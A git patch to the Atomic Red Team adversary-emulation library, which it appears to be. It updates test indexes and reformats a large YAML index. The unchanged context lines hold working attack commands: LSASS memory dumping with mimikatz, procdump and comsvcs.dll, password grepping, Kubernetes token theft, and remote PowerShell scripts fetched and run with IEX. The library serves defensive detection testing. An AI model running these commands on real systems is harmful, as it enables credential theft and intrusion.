From 5ca0cd8717f6c3df0fa78f770714a4cc272cb9e2 Mon Sep 17 00:00:00 2001 From: Jose Enrique Hernandez Date: Fri, 15 Oct 2021 19:14:30 -0400 Subject: [PATCH] rebuilt T1027.yml (#1649) * just added dasta * adding yaml * fixing yaml * maintain desc spacing * keep original spacing * spacing * spacing Co-authored-by: Carrie Roberts --- atomics/Indexes/Indexes-CSV/index.csv | 4 +- atomics/Indexes/Indexes-CSV/windows-index.csv | 4 +- atomics/Indexes/Indexes-Markdown/index.md | 4 +- .../Indexes/Indexes-Markdown/windows-index.md | 4 +- atomics/Indexes/index.yaml | 3962 +++++++++-------- atomics/T1003.003/T1003.003.md | 2 +- atomics/T1021.001/T1021.001.md | 48 +- atomics/T1027/T1027.md | 45 +- atomics/T1027/T1027.yaml | 2 +- 9 files changed, 2106 insertions(+), 1969 deletions(-) diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv index 148c2e46..f855ed52 100644 --- a/atomics/Indexes/Indexes-CSV/index.csv +++ b/atomics/Indexes/Indexes-CSV/index.csv @@ -465,6 +465,7 @@ defense-evasion,T1027,Obfuscated Files or Information,4,Execution from Compresse defense-evasion,T1027,Obfuscated Files or Information,5,DLP Evasion via Sensitive Data in VBA Macro over email,129edb75-d7b8-42cd-a8ba-1f3db64ec4ad,powershell defense-evasion,T1027,Obfuscated Files or Information,6,DLP Evasion via Sensitive Data in VBA Macro over HTTP,e2d85e66-cb66-4ed7-93b1-833fc56c9319,powershell defense-evasion,T1027,Obfuscated Files or Information,7,Obfuscated Command in PowerShell,8b3f4ed6-077b-4bdd-891c-2d237f19410f,powershell +defense-evasion,T1027,Obfuscated Files or Information,8,Obfuscated Command Line using special Unicode characters,e68b945c-52d0-4dd9-a5e8-d173d70c448f,command_prompt defense-evasion,T1218.008,Odbcconf,1,Odbcconf.exe - Execute Arbitrary DLL,2430498b-06c0-4b92-a448-8ad263c388e2,command_prompt defense-evasion,T1134.004,Parent PID Spoofing,1,Parent PID Spoofing using PowerShell,069258f4-2162-46e9-9a25-c9c6c56150d2,powershell defense-evasion,T1134.004,Parent PID Spoofing,2,Parent PID Spoofing - Spawn from Current Process,14920ebd-1d61-491a-85e0-fe98efe37f25,powershell @@ -917,7 +918,8 @@ lateral-movement,T1550.003,Pass the Ticket,1,Mimikatz Kerberos Ticket Attack,dbf lateral-movement,T1563.002,RDP Hijacking,1,RDP hijacking,a37ac520-b911-458e-8aed-c5f1576d9f46,command_prompt lateral-movement,T1021.001,Remote Desktop Protocol,1,RDP to DomainController,355d4632-8cb9-449d-91ce-b566d0253d3e,powershell lateral-movement,T1021.001,Remote Desktop Protocol,2,RDP to Server,7382a43e-f19c-46be-8f09-5c63af7d3e2b,powershell -lateral-movement,T1021.001,Remote Desktop Protocol,3,Changing RDP Port to Non Standard Port,2f840dd4-8a2e-4f44-beb3-6b2399ea3771,powershell +lateral-movement,T1021.001,Remote Desktop Protocol,3,Changing RDP Port to Non Standard Port via Powershell,2f840dd4-8a2e-4f44-beb3-6b2399ea3771,powershell +lateral-movement,T1021.001,Remote Desktop Protocol,4,Changing RDP Port to Non Standard Port via Command_Prompt,74ace21e-a31c-4f7d-b540-53e4eb6d1f73,command_prompt lateral-movement,T1021.002,SMB/Windows Admin Shares,1,Map admin share,3386975b-367a-4fbb-9d77-4dcf3639ffd3,command_prompt lateral-movement,T1021.002,SMB/Windows Admin Shares,2,Map Admin Share PowerShell,514e9cd7-9207-4882-98b1-c8f791bae3c5,powershell lateral-movement,T1021.002,SMB/Windows Admin Shares,3,Copy and Execute File with PsExec,0eb03d41-79e4-4393-8e57-6344856be1cf,command_prompt diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv index 0fad268e..1fe0aeec 100644 --- a/atomics/Indexes/Indexes-CSV/windows-index.csv +++ b/atomics/Indexes/Indexes-CSV/windows-index.csv @@ -308,6 +308,7 @@ defense-evasion,T1027,Obfuscated Files or Information,4,Execution from Compresse defense-evasion,T1027,Obfuscated Files or Information,5,DLP Evasion via Sensitive Data in VBA Macro over email,129edb75-d7b8-42cd-a8ba-1f3db64ec4ad,powershell defense-evasion,T1027,Obfuscated Files or Information,6,DLP Evasion via Sensitive Data in VBA Macro over HTTP,e2d85e66-cb66-4ed7-93b1-833fc56c9319,powershell defense-evasion,T1027,Obfuscated Files or Information,7,Obfuscated Command in PowerShell,8b3f4ed6-077b-4bdd-891c-2d237f19410f,powershell +defense-evasion,T1027,Obfuscated Files or Information,8,Obfuscated Command Line using special Unicode characters,e68b945c-52d0-4dd9-a5e8-d173d70c448f,command_prompt defense-evasion,T1218.008,Odbcconf,1,Odbcconf.exe - Execute Arbitrary DLL,2430498b-06c0-4b92-a448-8ad263c388e2,command_prompt defense-evasion,T1134.004,Parent PID Spoofing,1,Parent PID Spoofing using PowerShell,069258f4-2162-46e9-9a25-c9c6c56150d2,powershell defense-evasion,T1134.004,Parent PID Spoofing,2,Parent PID Spoofing - Spawn from Current Process,14920ebd-1d61-491a-85e0-fe98efe37f25,powershell @@ -663,7 +664,8 @@ lateral-movement,T1550.003,Pass the Ticket,1,Mimikatz Kerberos Ticket Attack,dbf lateral-movement,T1563.002,RDP Hijacking,1,RDP hijacking,a37ac520-b911-458e-8aed-c5f1576d9f46,command_prompt lateral-movement,T1021.001,Remote Desktop Protocol,1,RDP to DomainController,355d4632-8cb9-449d-91ce-b566d0253d3e,powershell lateral-movement,T1021.001,Remote Desktop Protocol,2,RDP to Server,7382a43e-f19c-46be-8f09-5c63af7d3e2b,powershell -lateral-movement,T1021.001,Remote Desktop Protocol,3,Changing RDP Port to Non Standard Port,2f840dd4-8a2e-4f44-beb3-6b2399ea3771,powershell +lateral-movement,T1021.001,Remote Desktop Protocol,3,Changing RDP Port to Non Standard Port via Powershell,2f840dd4-8a2e-4f44-beb3-6b2399ea3771,powershell +lateral-movement,T1021.001,Remote Desktop Protocol,4,Changing RDP Port to Non Standard Port via Command_Prompt,74ace21e-a31c-4f7d-b540-53e4eb6d1f73,command_prompt lateral-movement,T1021.002,SMB/Windows Admin Shares,1,Map admin share,3386975b-367a-4fbb-9d77-4dcf3639ffd3,command_prompt lateral-movement,T1021.002,SMB/Windows Admin Shares,2,Map Admin Share PowerShell,514e9cd7-9207-4882-98b1-c8f791bae3c5,powershell lateral-movement,T1021.002,SMB/Windows Admin Shares,3,Copy and Execute File with PsExec,0eb03d41-79e4-4393-8e57-6344856be1cf,command_prompt diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md index 506a6078..f4c3c00a 100644 --- a/atomics/Indexes/Indexes-Markdown/index.md +++ b/atomics/Indexes/Indexes-Markdown/index.md @@ -749,6 +749,7 @@ - Atomic Test #5: DLP Evasion via Sensitive Data in VBA Macro over email [windows] - Atomic Test #6: DLP Evasion via Sensitive Data in VBA Macro over HTTP [windows] - Atomic Test #7: Obfuscated Command in PowerShell [windows] + - Atomic Test #8: Obfuscated Command Line using special Unicode characters [windows] - [T1218.008 Odbcconf](../../T1218.008/T1218.008.md) - Atomic Test #1: Odbcconf.exe - Execute Arbitrary DLL [windows] - [T1134.004 Parent PID Spoofing](../../T1134.004/T1134.004.md) @@ -1582,7 +1583,8 @@ - [T1021.001 Remote Desktop Protocol](../../T1021.001/T1021.001.md) - Atomic Test #1: RDP to DomainController [windows] - Atomic Test #2: RDP to Server [windows] - - Atomic Test #3: Changing RDP Port to Non Standard Port [windows] + - Atomic Test #3: Changing RDP Port to Non Standard Port via Powershell [windows] + - Atomic Test #4: Changing RDP Port to Non Standard Port via Command_Prompt [windows] - T1563 Remote Service Session Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1021 Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md index 1525bc1b..6fc8f5d7 100644 --- a/atomics/Indexes/Indexes-Markdown/windows-index.md +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -525,6 +525,7 @@ - Atomic Test #5: DLP Evasion via Sensitive Data in VBA Macro over email [windows] - Atomic Test #6: DLP Evasion via Sensitive Data in VBA Macro over HTTP [windows] - Atomic Test #7: Obfuscated Command in PowerShell [windows] + - Atomic Test #8: Obfuscated Command Line using special Unicode characters [windows] - [T1218.008 Odbcconf](../../T1218.008/T1218.008.md) - Atomic Test #1: Odbcconf.exe - Execute Arbitrary DLL [windows] - [T1134.004 Parent PID Spoofing](../../T1134.004/T1134.004.md) @@ -1171,7 +1172,8 @@ - [T1021.001 Remote Desktop Protocol](../../T1021.001/T1021.001.md) - Atomic Test #1: RDP to DomainController [windows] - Atomic Test #2: RDP to Server [windows] - - Atomic Test #3: Changing RDP Port to Non Standard Port [windows] + - Atomic Test #3: Changing RDP Port to Non Standard Port via Powershell [windows] + - Atomic Test #4: Changing RDP Port to Non Standard Port via Command_Prompt [windows] - T1563 Remote Service Session Hijacking [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1021 Remote Services [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) - T1091 Replication Through Removable Media [CONTRIBUTE A TEST](https://atomicredteam.io/contributing) diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 24d927c0..4be10b6c 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -61,7 +61,7 @@ credential-access: cat #{output_file} cleanup_command: 'rm -f #{output_file} -' + ' name: bash elevation_required: true - name: Access /etc/passwd (Local) @@ -80,7 +80,7 @@ credential-access: cat #{output_file} cleanup_command: 'rm -f #{output_file} -' + ' name: sh T1557.002: technique: @@ -270,32 +270,32 @@ credential-access: dependencies: - description: 'Computer must be domain joined -' + ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually -' + ' - description: 'Rubeus must exist -' + ' prereq_command: 'if(Test-Path -Path #{local_folder}\#{local_executable}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\#{local_executable} -' + ' executor: command: 'cmd.exe /c "#{local_folder}\#{local_executable}" asreproast /outfile:"#{local_folder}\#{out_file}" -' + ' cleanup_command: 'Remove-Item #{local_folder}\#{out_file} -ErrorAction Ignore -' + ' name: powershell elevation_required: false T1552.003: @@ -350,7 +350,7 @@ credential-access: description: 'Search through bash history for specifice commands we want to capture -' + ' supported_platforms: - linux - macos @@ -372,7 +372,7 @@ credential-access: command: 'cat #{bash_history_filename} | grep #{bash_history_grep_args} > #{output_file} -' + ' name: sh T1110: technique: @@ -607,7 +607,7 @@ credential-access: pod service account, for example) can access sensitive information that might include credentials to various services. -' + ' supported_platforms: - containers input_arguments: @@ -618,17 +618,17 @@ credential-access: dependencies: - description: 'kubectl must be installed -' + ' get_prereq_command: 'echo "kubectl must be installed manually" -' + ' prereq_command: 'which kubectl -' + ' executor: command: 'kubectl get secrets -n #{namespace} -' + ' name: bash elevation_required: false - name: Cat the contents of a Kubernetes service account token file @@ -636,7 +636,7 @@ credential-access: description: 'Access the Kubernetes service account access token stored within a container in a cluster. -' + ' supported_platforms: - linux dependency_executor_name: sh @@ -644,24 +644,24 @@ credential-access: - description: Verify docker is installed. prereq_command: 'which docker -' + ' get_prereq_command: 'if [ "" == "`which docker`" ]; then echo "Docker Not Found"; if [ -n "`which apt-get`" ]; then sudo apt-get -y install docker ; elif [ -n "`which yum`" ]; then sudo yum -y install docker ; fi ; else echo "Docker installed"; fi -' + ' - description: Verify docker service is running. prereq_command: 'sudo systemctl status docker -' + ' get_prereq_command: 'sudo systemctl start docker -' + ' - description: Verify kind is in the path. prereq_command: 'which kind -' + ' get_prereq_command: | curl -Lo ./kind https://kind.sigs.k8s.io/dl/v0.10.0/kind-linux-amd64 chmod +x ./kind @@ -669,14 +669,14 @@ credential-access: - description: Verify kind-atomic-cluster is created prereq_command: 'sudo kind get clusters -' + ' get_prereq_command: 'sudo kind create cluster --name atomic-cluster -' + ' - description: Verify kubectl is in path prereq_command: 'which kubectl -' + ' get_prereq_command: | curl -LO "https://dl.k8s.io/release/$(curl -L -s https://dl.k8s.io/release/stable.txt)/bin/linux/amd64/kubectl" chmod +x ./kubectl @@ -684,19 +684,19 @@ credential-access: - description: Verify atomic-pod is running. prereq_command: 'kubectl --context kind-atomic-cluster get pods |grep atomic-pod -' + ' get_prereq_command: 'kubectl --context kind-atomic-cluster run atomic-pod --image=alpine --command -- sleep infinity -' + ' executor: command: 'kubectl --context kind-atomic-cluster exec atomic-pod -- cat /run/secrets/kubernetes.io/serviceaccount/token -' + ' name: sh cleanup_command: 'kubectl --context kind-atomic-cluster delete pod atomic-pod -' + ' T1056.004: technique: external_references: @@ -798,7 +798,7 @@ credential-access: auto_generated_guid: de1934ea-1fbf-425b-8795-65fb27dd7e33 description: 'Hooks functions in PowerShell to read TLS Communications -' + ' supported_platforms: - windows input_arguments: @@ -814,10 +814,10 @@ credential-access: dependencies: - description: 'T1056.004x64.dll must exist on disk at specified location (#{file_name}) -' + ' prereq_command: 'if (Test-Path #{file_name}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{file_name}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/redcanaryco/atomic-red-team/raw/master/atomics/T1056.004/bin/T1056.004x64.dll" -OutFile "#{file_name}" @@ -903,7 +903,7 @@ credential-access: description: 'Using username,password combination from a password dump to login over SSH. -' + ' supported_platforms: - linux input_arguments: @@ -915,16 +915,16 @@ credential-access: dependencies: - description: 'Requires SSHPASS -' + ' prereq_command: 'if [ -x "$(command -v sshpass)" ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: 'if [ $(cat /etc/os-release | grep -i ID=ubuntu) ] || [ $(cat /etc/os-release | grep -i ID=kali) ]; then sudo apt update && sudo apt install sshpass -y; else echo "This test requires sshpass" ; fi ; -' + ' executor: name: bash elevation_required: false @@ -936,7 +936,7 @@ credential-access: description: 'Using username,password combination from a password dump to login over SSH. -' + ' supported_platforms: - macos input_arguments: @@ -948,11 +948,11 @@ credential-access: dependencies: - description: 'Requires SSHPASS -' + ' prereq_command: 'if [ -x "$(command -v sshpass)" ]; then exit 0; else exit 1; fi; -' + ' get_prereq_command: | /bin/bash -c "$(curl -fsSL https://raw.githubusercontent.com/Homebrew/install/master/install.sh)" brew install hudochenkov/sshpass/sshpass @@ -1048,14 +1048,14 @@ credential-access: executor: command: 'python2 laZagne.py all -' + ' elevation_required: true name: bash - name: Extract passwords with grep auto_generated_guid: bd4cf0d1-7646-474e-8610-78ccf5a097c4 description: 'Extracting credentials from files -' + ' supported_platforms: - macos - linux @@ -1067,14 +1067,14 @@ credential-access: executor: command: 'grep -ri password #{file_path} -' + ' name: sh - name: Extracting passwords with findstr auto_generated_guid: 0e56bf29-ff49-4ea5-9af4-3b81283fd513 description: 'Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed. -' + ' supported_platforms: - windows executor: @@ -1100,7 +1100,7 @@ credential-access: description: 'This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found. -' + ' supported_platforms: - macos - linux @@ -1164,7 +1164,7 @@ credential-access: dependencies: - description: 'Microsoft Word must be installed -' + ' prereq_command: | try { New-Object -COMObject "word.Application" | Out-Null @@ -1175,7 +1175,7 @@ credential-access: get_prereq_command: 'Write-Host "You will need to install Microsoft Word manually to meet this requirement" -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -1184,7 +1184,7 @@ credential-access: cleanup_command: 'Remove-Item "$env:TEMP\windows-credentials.txt" -ErrorAction Ignore -' + ' name: powershell - name: Dump credentials from Windows Credential Manager With PowerShell [windows Credentials] @@ -1211,7 +1211,7 @@ credential-access: command: 'IEX (IWR ''https://raw.githubusercontent.com/skar4444/Windows-Credential-Manager/4ad208e70c80dd2a9961db40793da291b1981e01/GetCredmanCreds.ps1'' -UseBasicParsing); Get-CredManCreds -Force -' + ' - name: Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Windows Credentials] auto_generated_guid: 36753ded-e5c4-4eb5-bc3c-e8fba236878d @@ -1224,7 +1224,7 @@ credential-access: elevation_required: false command: 'vaultcmd /listcreds:"Windows Credentials" /all -' + ' - name: Enumerate credentials from Windows Credential Manager using vaultcmd.exe [Web Credentials] auto_generated_guid: bc071188-459f-44d5-901a-f8f2625b2d2e @@ -1237,7 +1237,7 @@ credential-access: elevation_required: false command: 'vaultcmd /listcreds:"Web Credentials" /all -' + ' T1555.003: technique: created: '2020-02-12T18:57:36.041Z' @@ -1349,11 +1349,11 @@ credential-access: dependencies: - description: 'Modified Sysinternals must be located at #{file_path} -' + ' prereq_command: 'if (Test-Path #{file_path}\SysInternals) {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://github.com/mitre-attack/attack-arsenal/raw/66650cebd33b9a1e180f7b31261da1789cdceb66/adversary_emulation/APT29/CALDERA_DIY/evals/payloads/Modified-SysInternalsSuite.zip" -OutFile "#{file_path}\Modified-SysInternalsSuite.zip" @@ -1401,10 +1401,10 @@ credential-access: dependencies: - description: 'LaZagne.exe must exist on disk at specified location (#{lazagne_path}) -' + ' prereq_command: 'if (Test-Path #{lazagne_path}) {exit 0} else {exit 1} -' + ' get_prereq_command: | New-Item -Type Directory (split-path #{lazagne_path}) -ErrorAction ignore | Out-Null Invoke-WebRequest "https://github.com/AlessandroZ/LaZagne/releases/download/2.4.3/lazagne.exe" -OutFile "#{lazagne_path}" @@ -1422,7 +1422,7 @@ credential-access: dependencies: - description: 'Chrome must be installed -' + ' prereq_command: if ((Test-Path "C:\Program Files\Google\Chrome\Application\chrome.exe") -Or (Test-Path "C:\Program Files (x86)\Google\Chrome\Application\chrome.exe")) {exit 0} else {exit 1} @@ -1497,7 +1497,7 @@ credential-access: description: 'Queries to enumerate for credentials in the Registry. Upon execution, any registry key containing the word "password" will be displayed. -' + ' supported_platforms: - windows executor: @@ -1515,7 +1515,7 @@ credential-access: executor: command: 'reg query HKCU\Software\SimonTatham\PuTTY\Sessions /t REG_SZ /s -' + ' name: command_prompt T1003.006: technique: @@ -1632,7 +1632,7 @@ credential-access: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) -' + ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} @@ -1854,7 +1854,7 @@ credential-access: description: 'This module runs the Windows executable of PetitPotam in order to coerce authentication for a remote system. -' + ' supported_platforms: - windows input_arguments: @@ -1883,11 +1883,11 @@ credential-access: prereq_command: 'if (Test-Path "#{petitpotam_path}") { exit 0 } else { exit 1 } -' + ' get_prereq_command: 'Invoke-WebRequest "https://github.com/topotam/PetitPotam/blob/2ae559f938e67d0cd59c5afcaac67672b9ef2981/PetitPotam.exe?raw=true" -OutFile "#{petitpotam_path}" -' + ' executor: name: powershell elevation_required: false @@ -2036,7 +2036,7 @@ credential-access: to apply changes." & return & return default answer "" with icon 1 with hidden answer with title "Software Update"'' -' + ' name: bash - name: PowerShell - Prompt User for Password auto_generated_guid: 2b162bfd-0928-4d4c-9ec3-4d9f88374b52 @@ -2166,7 +2166,7 @@ credential-access: - description: 'Mimikatz executor must exist on disk and at specified location (#{mimikatz_path}) -' + ' prereq_command: | $mimikatz_path = cmd /c echo #{mimikatz_path} if (Test-Path $mimikatz_path) {exit 0} else {exit 1} @@ -2272,26 +2272,26 @@ credential-access: files on the Domain Controller. This value can be decrypted with gpp-decrypt on Kali Linux. -' + ' supported_platforms: - windows dependency_executor_name: powershell dependencies: - description: 'Computer must be domain joined -' + ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually -' + ' executor: command: 'findstr /S cpassword %logonserver%\sysvol\*.xml -' + ' name: command_prompt - name: GPP Passwords (Get-GPPPassword) auto_generated_guid: e9584f82-322c-474a-b831-940fd8b4455c @@ -2316,25 +2316,25 @@ credential-access: dependencies: - description: 'Get-GPPPassword PowerShell Script must exist at #{gpp_script_path} -' + ' prereq_command: 'if(Test-Path "#{gpp_script_path}") {exit 0 } else {exit 1 } -' + ' get_prereq_command: | New-Item -ItemType Directory (Split-Path "#{gpp_script_path}") -Force | Out-Null Invoke-WebRequest #{gpp_script_url} -OutFile "#{gpp_script_path}" - description: 'Computer must be domain joined -' + ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually -' + ' executor: command: | . #{gpp_script_path} @@ -2507,15 +2507,15 @@ credential-access: dependencies: - description: 'Computer must be domain joined -' + ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually -' + ' executor: command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -2555,33 +2555,33 @@ credential-access: dependencies: - description: 'Computer must be domain joined -' + ' prereq_command: 'if((Get-CIMInstance -Class Win32_ComputerSystem).PartOfDomain) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Write-Host Joining this computer to a domain must be done manually -' + ' - description: 'Rubeus must exist -' + ' prereq_command: 'if(Test-Path -Path #{local_folder}\#{local_executable}) {exit 0} else {exit 1} -' + ' get_prereq_command: 'Invoke-Webrequest -Uri #{rubeus_url} -OutFile #{local_folder}\#{local_executable} -' + ' executor: command: 'cmd.exe /c "#{local_folder}\#{local_executable}" kerberoast #{flags} /outfile:"#{local_folder}\#{out_file}" -' + ' cleanup_command: 'Remove-Item #{local_folder}\#{out_file} -ErrorAction Ignore -' + ' name: powershell elevation_required: false T1555.001: @@ -2747,7 +2747,7 @@ credential-access: .\T1056.001\src\Get-Keystrokes.ps1 -LogPath #{filepath} cleanup_command: 'Remove-Item $env:TEMP\key.log -ErrorAction Ignore -' + ' name: powershell elevation_required: true - name: Living off the land Terminal Input Capture on Linux with pam.d @@ -2766,14 +2766,14 @@ credential-access: dependencies: - description: 'Checking if pam_tty_audit.so is installed -' + ' prereq_command: 'test -f ''/usr/lib/pam/pam_tty_audit.so -o /usr/lib64/security/pam_tty_audit.so'' -' + ' get_prereq_command: 'echo "Sorry, you must install module pam_tty_audit.so and recompile, for this test to work" -' + ' supported_platforms: - linux executor: @@ -2804,14 +2804,14 @@ credential-access: - description: 'This test requires to be run in a bash shell and that logger and tee are installed. -' + ' prereq_command: | if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi if [ ! -x "$(command -v logger)" ]; then echo -e "\n***** logger NOT installed *****\n"; exit 1; fi if [ ! -x "$(command -v tee)" ]; then echo -e "\n***** tee NOT installed *****\n"; exit 1; fi get_prereq_command: 'echo "" -' + ' executor: name: sh elevation_required: true @@ -2821,7 +2821,7 @@ credential-access: tail /var/log/syslog cleanup_command: 'unset PROMPT_COMMAND -' + ' - name: Bash session based keylogger auto_generated_guid: 7f85a946-a0ea-48aa-b6ac-8ff539278258 description: "When a command is executed in bash, the BASH_COMMAND variable @@ -2838,14 +2838,14 @@ credential-access: dependencies: - description: 'This test requires to be run in a bash shell -' + ' prereq_command: 'if [ "$(echo $SHELL)" != "/bin/bash" ]; then echo -e "\n***** Bash not running! *****\n"; exit 1; fi -' + ' get_prereq_command: 'echo "" -' + ' input_arguments: output_file: name: output_file @@ -2861,7 +2861,7 @@ credential-access: cat #{output_file} cleanup_command: 'rm #{output_file} -' + ' - name: SSHD PAM keylogger auto_generated_guid: 81d7d2ad-d644-4b6a-bea7-28ffe43becca description: 'Linux PAM (Pluggable Authentication Modules) is used in sshd authentication. @@ -2869,20 +2869,20 @@ credential-access: of TTY input and capture all keystrokes in a ssh session and place them in the /var/log/audit/audit.log file after the session closes. -' + ' supported_platforms: - linux dependency_executor_name: sh dependencies: - description: 'This test requires sshd and auditd -' + ' prereq_command: | if [ ! -x "$(command -v sshd)" ]; then echo -e "\n***** sshd NOT installed *****\n"; exit 1; fi if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi get_prereq_command: 'echo "" -' + ' input_arguments: user_account: description: Basic ssh user account for testing. @@ -2896,7 +2896,7 @@ credential-access: restart auditd\nssh #{user_account}@localhost \nwhoami\nsudo su\nwhoami\nexit\nexit\n" cleanup_command: 'cp -fv /tmp/sshd /etc/pam.d/ -' + ' - name: Auditd keylogger auto_generated_guid: a668edb9-334e-48eb-8c2e-5413a40867af description: "The linux audit tool auditd can be used to capture 32 and 64 bit @@ -2908,14 +2908,14 @@ credential-access: dependencies: - description: 'This test requires sshd and auditd -' + ' prereq_command: 'if [ ! -x "$(command -v auditd)" ]; then echo -e "\n***** auditd NOT installed *****\n"; exit 1; fi -' + ' get_prereq_command: 'echo "" -' + ' executor: name: sh elevation_required: true @@ -2924,7 +2924,7 @@ credential-access: $(date +\"%d/%m/%y %H:%M:%S\") \n" cleanup_command: 'systemctl restart auditd -' + ' T1557.001: technique: external_references: @@ -3229,10 +3229,10 @@ credential-access: - description: 'Windows Credential Editor must exist on disk at specified location (#{wce_exe}) -' + ' prereq_command: 'if (Test-Path #{wce_exe}) {exit 0} else {exit 1} -' + ' get_prereq_command: | $parentpath = Split-Path "#{wce_exe}"; $zippath = "$parentpath\wce.zip" [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 @@ -3272,10 +3272,10 @@ credential-access: - description: 'ProcDump tool from Sysinternals must exist on disk at specified location (#{procdump_exe}) -' + ' prereq_command: 'if (Test-Path #{procdump_exe}) {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 Invoke-WebRequest "https://download.sysinternals.com/files/Procdump.zip" -OutFile "$env:TEMP\Procdump.zip" @@ -3286,7 +3286,7 @@ credential-access: command: "#{procdump_exe} -accepteula -ma lsass.exe #{output_file}\n" cleanup_command: 'del "#{output_file}" >nul 2> nul -' + ' name: command_prompt elevation_required: true - name: Dump LSASS.exe Memory using comsvcs.dll @@ -3301,10 +3301,10 @@ credential-access: command: 'C:\Windows\System32\rundll32.exe C:\windows\System32\comsvcs.dll, MiniDump (Get-Process lsass).id $env:TEMP\lsass-comsvcs.dmp full -' + ' cleanup_command: 'Remove-Item $env:TEMP\lsass-comsvcs.dmp -ErrorAction Ignore -' + ' name: powershell elevation_required: true - name: Dump LSASS.exe Memory using direct system calls and API unhooking @@ -3327,10 +3327,10 @@ credential-access: - description: 'Dumpert executable must exist on disk at specified location (#{dumpert_exe}) -' + ' prereq_command: 'if (Test-Path #{dumpert_exe}) {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 New-Item -ItemType Directory (Split-Path #{dumpert_exe}) -Force | Out-Null @@ -3339,7 +3339,7 @@ credential-access: command: "#{dumpert_exe}\n" cleanup_command: 'del C:\windows\temp\dumpert.dmp >nul 2> nul -' + ' name: command_prompt elevation_required: true - name: Dump LSASS.exe Memory using Windows Task Manager @@ -3382,10 +3382,10 @@ credential-access: dependencies: - description: 'Mimikatz must exist on disk at specified location (#{mimikatz_exe}) -' + ' prereq_command: 'if (Test-Path #{mimikatz_exe}) {exit 0} else {exit 1} -' + ' get_prereq_command: | [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12 $mimikatz_relative_uri = Invoke-WebRequest "https://github.com/gentilkiwi/mimikatz/releases/latest" -UseBasicParsing | Select-Object -ExpandProperty Links | Where-Object -Property href -Like "*/mimikatz_trunk.zip" | Select-Object -ExpandProperty href @@ -3395,19 +3395,19 @@ credential-access: Copy-Item $env:TEMP\Mimi\x64\mimikatz.exe #{mimikatz_exe} -Force - description: 'Lsass dump must exist at specified location (#{input_file}) -' + ' prereq_command: 'cmd /c "if not exist #{input_file} (exit /b 1)" -' + ' get_prereq_command: 'Write-Host "Create the lsass dump manually using the steps in the previous test (Dump LSASS.exe Memory using Windows Task Manager)" -' + ' executor: command: '#{mimikatz_exe} "sekurlsa::minidump #{input_file}" "sekurlsa::logonpasswords full" exit -' + ' name: command_prompt elevation_required: true - name: LSASS read with pypykatz @@ -3424,35 +3424,35 @@ credential-access: dependencies: - description: 'Computer must have python 3 installed -' + ' prereq_command: | py -3 --version >nul 2>&1 exit /b %errorlevel% get_prereq_command: 'echo "Python 3 must be installed manually" -' + ' - description: 'Computer must have pip installed -' + ' prereq_command: | py -3 -m pip --version >nul 2>&1 exit /b %errorlevel% get_prereq_command: 'echo "PIP must be installed manually" -' + ' - description: 'pypykatz must be installed and part of PATH -' + ' prereq_command: | pypykatz -h >nul 2>&1 exit /b %errorlevel% get_prereq_command: 'pip install pypykatz -' + ' executor: command: 'pypykatz live lsa -' + ' name: command_prompt elevation_required: true - name: Dump LSASS.exe Memory using Out-Minidump.ps1 @@ -3469,7 +3469,7 @@ credential-access: IEX (New-Object Net.WebClient).DownloadString('https://raw.githubusercontent.com/mattifestation/PowerSploit/master/Exfiltration/Out-Minidump.ps1'); get-process lsass | Out-Minidump 